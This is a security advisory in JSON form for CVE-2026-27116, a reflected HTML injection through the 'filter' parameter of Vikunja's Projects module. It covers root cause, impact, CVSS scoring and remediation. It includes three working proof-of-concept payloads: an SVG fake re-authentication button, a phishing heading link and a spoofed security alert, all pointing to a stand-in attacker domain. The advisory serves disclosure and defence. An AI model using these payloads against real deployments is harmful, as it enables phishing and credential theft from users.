CVE-2026-27116: Code.vikunja.io/api Vikunja Has Reflected HTML Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4qgr-4h56-8895",
  "modified" : "2026-02-27T21:50:55Z",
  "published" : "2026-02-25T22:01:25Z",
  "aliases" : [ "CVE-2026-27116" ],
  "summary" : "Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module",
  "details" : "## Summary\n\n[Vikunja](https://github.com/go-vikunja/vikunja) is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the `filter` URL parameter is rendered into the DOM without output encoding when the user clicks \"Filter.\" While `<script>` and `<iframe>` are blocked, `<svg>`, `<a>`, and formatting tags (`<h1>`, `<b>`, `<u>`) render without restriction — enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.\n\n**Attack flow:** Attacker shares a crafted project filter link (routine Vikunja workflow) → victim opens it → victim clicks \"Filter\" (standard UI action) → phishing content renders inside trusted Vikunja interface.\n\n## Affected Component\n\n| Field | Detail |\n|---|---|\n| Application | Vikunja v1.1.0 |\n| Module | Projects |\n| Endpoint | `/projects/-1/-1?filter=PAYLOAD&page=1` |\n| Parameter | `filter` (GET) |\n| Trigger | Click \"Filter\" button |\n| Stack | Go backend, Vue.js + TypeScript frontend |\n| Blocked | `<script>`, `<iframe>` |\n| Allowed | `<svg>`, `<a>`, `<rect>`, `<text>`, `<h1>`, `<b>`, `<u>` |\n\n## Proof-of-Concept\n\n### PoC-1: SVG Phishing Button (Highest Impact)\n\nRenders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E&page=1\n```\n\nRaw payload:\n```html\n<svg width=\"400\" height=\"60\"><a href=\"https://attacker.example.com/login\"><rect width=\"400\" height=\"60\" rx=\"4\" fill=\"#d32f2f\"></rect><text x=\"200\" y=\"37\" text-anchor=\"middle\" fill=\"white\" font-size=\"16\">Session Expired - Click to Re-authenticate</text></a></svg>\n```\n\n### PoC-2: Phishing Link via Heading + Anchor\n\nProminent clickable link styled as urgent system message.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E&page=1\n```\n\nRaw payload:\n```html\n<h1><a href=\"https://attacker.example.com/login\">⚠ Your session has expired. Click here to sign in again.</a></h1>\n```\n\n### PoC-3: Content Spoofing — Fake Security Alert\n\nFake security warning directing victim to attacker-controlled contact.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E&page=1\n```\n\nRaw payload:\n```html\n<h1><u><b>⚠ SECURITY ALERT</b></u></h1><b>Unauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.</b>\n```\n\n## Root Cause\n\nThe `filter` parameter is inserted into the DOM as raw HTML — likely via Vue.js `v-html` or `innerHTML`. A partial denylist strips `<script>` and `<iframe>` but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.\n\n## Impact\n\n| Impact | Description |\n|---|---|\n| SVG Phishing Buttons | Pixel-perfect fake buttons redirect to credential harvesting pages |\n| External Redirect | Anchor tags point to attacker domains from within trusted origin |\n| Content Spoofing | Fake alerts manipulate users into contacting attacker channels |\n| Self-Hosted Risk | Compromised credentials may grant access to internal infrastructure |\n| API Access | Same credentials grant full REST API access for data exfiltration |\n| No Logging | GET-based reflected injection leaves no distinguishable server logs |\n\n**Not Self-XSS:** Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.\n\n## CWE & CVSS\n\n**CWE-79** (Primary) — Improper Neutralization of Input During Web Page Generation\n\n**CWE-80** (Secondary) — Improper Neutralization of Script-Related HTML Tags\n\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` — **6.1 (Medium)**\n\nScore understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.\n\n## Remediation\n\n| Priority | Action |\n|---|---|\n| P0 | Replace `v-html` with `v-text` or `{{ }}` interpolation (auto-escapes HTML) |\n| P0 | HTML entity encode the `filter` value at rendering point |\n| P1 | Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values |\n| P1 | Deploy CSP with `form-action 'self'` |\n| P2 | Server-side input validation — reject filter values not matching expected syntax |\n\n## References\n\n- Vikunja Repository: https://github.com/go-vikunja/vikunja\n- CWE-79: https://cwe.mitre.org/data/definitions/79.html\n- CWE-80: https://cwe.mitre.org/data/definitions/80.html\n- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Conclusion\n\nThe `filter` parameter in Vikunja's Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions — opening a shared link and clicking \"Filter.\" The fix is a single-line change: replacing `v-html` with `v-text` in the Vue.js rendering logic. Given Vikunja's adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.\n\n<img width=\"1920\" height=\"1020\" alt=\"image\" src=\"https://github.com/user-attachments/assets/007f9b1a-fd20-4fe8-84e5-1bf886a5a7a9\" />\n\nA fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.24.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-4qgr-4h56-8895"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27116"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/a42b4f37bde58596a3b69482cd5a67641a94f62d"
  }, {
    "type" : "WEB",
    "url" : "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0"
  }, {
    "type" : "WEB",
    "url" : "https://vikunja.io/changelog/vikunja-v2.0.0-was-released"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79", "CWE-80" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T22:01:25Z",
    "nvd_published_at" : "2026-02-25T22:16:24Z"
  }
}